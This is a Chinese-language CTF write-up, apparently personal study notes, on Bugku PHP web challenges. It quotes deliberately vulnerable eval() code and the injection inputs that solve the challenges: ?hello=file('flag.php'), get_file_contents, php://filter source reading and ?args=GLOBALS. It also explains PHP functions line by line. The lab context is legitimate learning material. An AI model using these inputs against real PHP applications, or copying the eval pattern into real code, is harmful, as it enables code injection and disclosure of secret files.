1. 程式人生 > 實用技巧 >CTF bugku web

CTF bugku web

1、檔案包含漏洞:

include()函式和php://filter可以用與讀取檔案原始碼:
?hello=get_file_contents('flag.php')
?hello=file('flag.php') ##file() 函式把整個檔案讀入一個數組中,並將檔案作為一個數組返回

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

<?php
include "flag.php"; ——include()函式和php://input,php://filter結合很好用,php://filter可以用與讀取檔案原始碼,結果是原始碼base64編碼後的結果

$a = @$_REQUEST['hello']; ——@$_REQUEST 的意思是獲得引數,能得到@$_GET與@$_POST的引數。所以構造hello的get引數
eval( "var_dump($a);"); ——eval() 函式會把字串引數當做程式碼來執行、var_dump() 函式可以輸出任何內容:輸出變數的容,型別或字串的內容,型別,長度
show_source(__FILE__);
?>

print_r() 函式只用於輸出陣列。
hello=file(“flag.php”),最終會得到var_dump(file(“flag.php”)),以陣列形式輸出檔案內容。

3、全域性變數
preg_match("/^\w+$/",$args)
^xxx以什麼開頭 \w表示字母 xxx$表示以什麼結尾 表示agrs是:以一個或多個字母開頭和結尾
eval("var_dump($$args);"); //可以看到eval的引數字串最後已經加上了分號 $$容易引起變數覆蓋,$GLOBALS 引用全域性作用域中可用的全部變數

/index1.php?args=GLOBALS ##$args 之後解析 $GLOBALS直接到了flag1.php中的全域性變數

flag In the variable ! <?php  

error_reporting
(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>

flag In the variable ! <?php

error_reporting(0);
include "flag1.php";
highlight_file(__file__); ——__FILE__ : highlight_file() 函式對檔案進行 PHP 語法高亮顯示highlight_file(filename,return) //規定要顯示的檔案, //return,為TRUE,該函式將以字串形式返回高亮顯示的程式碼;預設FALSE當前內容寫在哪個檔案就顯示這個檔案目錄+檔名 絕對路徑
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^w+$/",$args)){ ——正則表示式匹配: int preg_match( string pattern, string subject [, array matches ] )//正則表示式,需要匹配檢索的物件,$matches[0] 將包含與整個模式匹配的文字,$matches[1] 將包含與第一個捕獲的括號中的子模式所匹配的文字,以此類推preg_match() 第一次匹配成功後就會停止匹配,如果要實現全部結果的匹配,即搜尋到subject結尾處,則需使用 preg_match_all() 函式。
die("args error!"); ——die() 函式輸出一條訊息,並退出當前指令碼
}
eval("var_dump($$args);"); ——eval() 函式把字串按照 PHP 程式碼來計算,該字串必須是合法的 PHP 程式碼,且必須以分號結尾。如果沒有在程式碼字串中呼叫 return 語句,則返回 NULL。如果程式碼中存在解析錯誤,則 eval() 函式返回 false。
}
?>

getcwd() :顯示是 在哪個檔案裡呼叫此檔案 的目錄 絕對路徑
__DIR__ :當前內容寫在哪個檔案就顯示這個檔案目錄 絕對路徑

error_reporting() 設定 PHP 的報錯級別並返回當前級別
error_reporting(0); //禁用錯誤報告
error_reporting(E_ERROR | E_WARNING | E_PARSE); //報告執行時錯誤
error_reporting(E_ALL); //報告所有錯誤